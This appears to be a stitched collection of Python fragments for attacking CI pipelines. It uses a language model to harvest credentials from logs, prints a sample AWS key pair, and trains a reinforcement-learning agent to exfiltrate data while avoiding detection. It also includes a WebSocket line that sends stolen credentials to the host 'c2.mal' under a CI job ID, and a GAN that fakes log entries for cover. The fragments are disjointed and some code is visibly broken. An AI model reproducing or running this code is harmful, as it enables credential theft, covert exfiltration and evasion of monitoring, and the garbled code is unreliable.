AutoModelForTokenClassification.from_pretrained("logcredbert-v2")
tokenizer = AutoTokenizer.from_pretrained("logcredbert-v2")

log_line = "2023-08-20T12:34:56 [ERROR] S3 upload failed - 
AKIA1234..."
inputs = tokenizer(log_line, return_tensors="pt")
predictions = model(**inputs).logits.argmax(-1)

# Extract credentials with confidence >90%
secrets = [tokenizer.decode(token_id) for token_id, prob in 
zip(inputs.input_ids[0], predictions[0]) if prob > 0.9]

AKIA12345EXAMPLE:VJ5tqy6RSTUVWXYZA/BcdEfGHiJkLmNoP
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class ExfilEnv(gym.Env):
    def __init__(self):
        self.action_space = Discrete(4)  # Protocols
        self.observation_space = Box(0,1,(8,))  # Network stats
        
    def step(self, action):
        success, detected = exfil_via_protocol(action)
        reward = success * 0.8 - detected * 0.5
        return self._get_state(), reward, False, {}

# Deep Deterministic Policy Gradient
agent = DDPG(
    actor=CustomActorNetwork(),
    critic=CustomCriticNetwork(),
    env=ExfilEnv()
)
agent.learn(total_timesteps=100000)
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# WebSocket exfil using CI job ID as cover
import websocket
ws = websocket.create_connection("wss://c2.mal/ci-monitor")
ws.send_binary(job_id.encode() + b'|' + stolen_creds)

# Log entry GAN
generator = Sequential([
    Dense(512, input_dim=100, activation='relu'),
    LSTM(256, return_sequences=True),
    Dense(128, activation='tanh'),
    Dense(1, activation='sigmoid')  # Log line output
])

discriminator = Sequential([
    TextVectorization(output_sequence_length=256),
    Bidirectional(LSTM(64)),
    Dense(1, activation='sigmoid')  # Real/Fake
])

# Generate 10K fake log entries matching CI patterns
fake_logs = generator.predict(tf.random.normal([10000, 100]))


